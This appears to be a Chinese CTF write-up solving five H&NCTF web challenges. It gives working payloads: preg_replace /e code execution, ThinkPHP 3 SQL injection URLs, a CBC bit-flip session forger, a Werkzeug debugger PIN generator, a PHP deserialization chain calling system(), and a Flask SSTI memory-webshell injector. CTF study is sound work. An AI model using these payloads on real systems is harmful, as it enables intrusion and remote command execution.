H&NCTF记录(WEB)

admin 2024年5月14日18:42:46评论29 views字数 7619阅读25分23秒阅读模式

目录如下:

  • Please_RCE_Me

    • 1.readfile

    • 2.show_source

    • 3.highlight_file

    • 4.file_get_contents

    • 另外一种编码执行

  • ez_tp

  • flipin

  • Decrypto

  • ezFlask

0x01Please_RCE_Me

H&NCTF记录(WEB)

加上参数,然后出现源码

<?phpif($_GET['moran'] === 'flag'){    highlight_file(__FILE__);    if(isset($_POST['task'])&&isset($_POST['flag'])){        $str1 = $_POST['task'];        $str2 = $_POST['flag'];        if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){            die('hacker!');        }else{            preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);        }    }}else{    echo "moran want a flag.</br>(?moran=flag)";}

关键地方:

preg_match('/please_give_me_flag/',$str2)直接大小写绕过,因为没有用ipreg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);关键代码,想办法代码执行就行了,绕过之前的正则。

四种绕过函数:(稍微扩展一下)

  1. readfile

?moran=flag&6=/flagtask=readfile($_GET[6]);&flag=please_give_me_flaG

H&NCTF记录(WEB)

2.show_source

?moran=flag&6=/flagtask=show_source($_GET[6]);&flag=please_give_me_flaG

H&NCTF记录(WEB)

3.highlight_file

?moran=flag&6=/flagtask=highlight_file($_GET[6]);&flag=please_give_me_flaG

H&NCTF记录(WEB)

4.file_get_contents

?moran=flag&6=/flagtask=print(file_get_contents($_GET[6]));&flag=please_give_me_flaG

H&NCTF记录(WEB)

5.编码

?moran=flagtask=print(file_get_contents("x2fx66x6cx61x67"));&flag=please_give_me_flaG

H&NCTF记录(WEB)

0x02ez_tp

有个非预期的解答,直接搜索日志就有payload直接打就行。下面析的

参考文章:https://y4er.com/posts/thinkphp3-vuln/

得知版本信息

H&NCTF记录(WEB)

从源码中可以知道tp路由为

H&NCTF记录(WEB)

/index.php/Home/Index/h_n

路由详情参考该文章:

https://www.kancloud.cn/manual/thinkphp/1711

/index.php/Home/Index/h_n?name[0]=exp&name[1]==1%20or%201%20union%20select%201,user()

H&NCTF记录(WEB)

/index.php/Home/Index/h_n?name[0]=exp&name[1]==1%20or%201%20union%20select%201,flag%20from%20flag

H&NCTF记录(WEB)

0x03flipin

使用CBC 字节翻转攻击伪造session

参考文章:https://www.anquanke.com/post/id/235190#h3-5

我们想要的伪造明文=中间密文^伪造IV = 原始IV^原始明文^伪造IV,可以推出伪造IV=原始IV^原始明文^伪造明文。随意我们只要知道原始IV和原始明文这两个值,就可以伪造解密后的结果。

H&NCTF记录(WEB)

根据提示给出了,IV和密文

下面是整个的源码

from flask import Flask, request, abortfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom Crypto.Util.Padding import pad, unpadfrom flask import Flask, request, Responsefrom base64 import b64encode, b64decodeimport jsondefault_session = '{"admin": 0, "username": "user1"}'key = get_random_bytes(AES.block_size)def encrypt(session):    iv = get_random_bytes(AES.block_size)    cipher = AES.new(key, AES.MODE_CBC, iv)    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))def decrypt(session):    raw = b64decode(session)    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])    try:        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')        return res    except Exception as e:        print(e)app = Flask(__name__)filename_blacklist = {    'self',    'cgroup',    'mountinfo',    'env',    'flag'}@app.route("/")def index():    session = request.cookies.get('session')    if session is None:        res = Response(            "welcome to the FlipPIN server try request /hint to get the hint")        res.set_cookie('session', encrypt(default_session).decode())        return res    else:        return 'have a fun'@app.route("/hint")def hint():    res = Response(open(__file__).read(), mimetype='text/plain')    return res@app.route("/read")def file():    session = request.cookies.get('session')    if session is None:        res = Response("you are not logged in")        res.set_cookie('session', encrypt(default_session))        return res    else:        plain_session = decrypt(session)        if plain_session is None:            return 'don't hack me'        session_data = json.loads(plain_session)        if session_data['admin'] :            filename = request.args.get('filename')            if any(blacklist_str in filename for blacklist_str in filename_blacklist):                abort(403, description='Access to this file is forbidden.')            try:                with open(filename, 'r') as f:                    return f.read()            except FileNotFoundError:                abort(404, description='File not found.')            except Exception as e:                abort(500, description=f'An error occurred: {str(e)}')        else:            return 'You are not an administrator'if __name__ == "__main__":    app.run(host="0.0.0.0", port=9091, debug=True)

伪造明文=中间密文^伪造IV = 原始IV^原始明文^伪造IV,可以推出伪造IV=原始IV^原始明文^伪造明文

H&NCTF记录(WEB)

密文和iv在

H&NCTF记录(WEB)

然后复制到脚本中,伪造就行了

import base64cipher = "EULiU3h6yzu/PqGnxACzGMcKr2VGiKYigdo/vbAcj2AR3DeJX6xtc5tl9JmbgHW/+jVMxEnaRZjCHlsXZgTFSg=="cipher = base64.b64decode(cipher)# IV (Initialization Vector),注意IV也是需要已知的iv = cipher[:16]# 已知的明文和密文ciphertext = cipher[16:]# 构造admin和guest字符串admin = b'{"admin": 1, "username": "admin"}'guest = b'{"admin": 0, "username": "user1"}'# 计算新IVnew_iv = bytes([iv_byte ^ admin_byte ^ guest_byte for iv_byte, admin_byte, guest_byte in zip(iv, admin, guest)])# 打印新IV的base64编码print(base64.b64encode(new_iv).decode('utf-8'))print(base64.b64encode(new_iv+ciphertext).decode('utf-8'))

然后将伪造好的session替换,根据给的源码读取文件看看是否伪造成功。

H&NCTF记录(WEB)

然后第二步就是想办法获取pin

参考文章:

https://blog.csdn.net/RABCDXB/article/details/117773638

获取计算pin所需要的东西

username = ctfUser # /etc/passwduuid = 6720451372650 # /sys/class/net/eth0/address 16进制转10进制modname = flask.app # 默认getattr(app, “name”, app.class.name) = Flask # 默认值flask库下app.py的绝对路径 = /usr/lib/python3.9/site-packages/flask/app.py # 报错得到mechineid = f67849d6-0b58-4a19-8e76-938d747b1e6684fb23e4ec0b044e6bf6327ebd559c232893187b0a5a690a8c9154db4604b545#docker容器读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup文件两个内容拼接#非docker容器还要读取/etc/machine-id#这里/proc/sys/kernel/random/boot_id = f67849d6-0b58-4a19-8e76-938d747b1e66#/proc/self/cgroup用/proc/1/cpuset代替 = 84fb23e4ec0b044e6bf6327ebd559c232893187b0a5a690a8c9154db4604b545

根据文件读取的东西,把所有需要的东西获取完了。使用脚本生成pin

# -*- coding: gb2312 -*-import hashlibfrom itertools import chainprobably_public_bits = [    'ctfUser'# /etc/passwd    'flask.app',# 默认值    'Flask',# 默认值    '/usr/lib/python3.9/site-packages/flask/app.py' # 报错得到]private_bits = [    '77261534605225',#  /sys/class/net/eth0/address 16进制转10进制    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup    'f67849d6-0b58-4a19-8e76-938d747b1e660b6588a56c8356107c3a631edbd95621752eb4077c94099ba29f5099a52c6020'#  /proc/self/cgroup]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, str):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:    h.update(b'pinsalt')    num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:    for group_size in 5, 4, 3:        if len(num) % group_size == 0:            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')                          for x in range(0, len(num), group_size))            break    else:        rv = numprint(rv)118-824-744

然后把报错页面搞出来,我这里的方法是直接删除cookie中session字段。

然后找到终端按钮

H&NCTF记录(WEB)

H&NCTF记录(WEB)

0x04Decrypto

读取config.php

username=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:6:"passwd";O:4:"FILE":1:{s:8:"filename";s:10:"config.php";}s:6:"status";s:4:"True";}&passwd=1

rce

$secret_key = "Harder_says_nice_to_meet_to";$algorithm = "AES-128-CTR";function encryptCookie($value) {    global $algorithm,$secret_key;    $key = $secret_key;    $cipher = $algorithm;    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($cipher));    $encryptedValue = openssl_encrypt($value, $cipher, $key, 0, $iv) . '::' . bin2hex($iv);    return $encryptedValue;}class admin{    public $admin;    public $root;    public function __destruct(){        echo $this->root;        system("whoami");    }}class Date{    public $cmd;    public function __toString(){        system($this->cmd);    }}$a = new admin();$a->root = new Date();$a->root->cmd = 'env';$cmd = serialize($a);echo base64_encode(encryptCookie($cmd))."n";

H&NCTF记录(WEB)

H&NCTF记录(WEB)

0x05ezflask

H&NCTF记录(WEB)

看见一次执行命令权限,又是flask框架,大致猜到是打内存马了

参考文章

http://blog.polowong.top/2022/10/16/Flask内存马的检测与清除/index.html

poc

cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

H&NCTF记录(WEB)

H&NCTF记录(WEB)

原文始发于微信公众号(小呆安全):H&NCTF记录(WEB)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月14日18:42:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   H&NCTF记录(WEB)https://cn-sec.com/archives/2738655.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息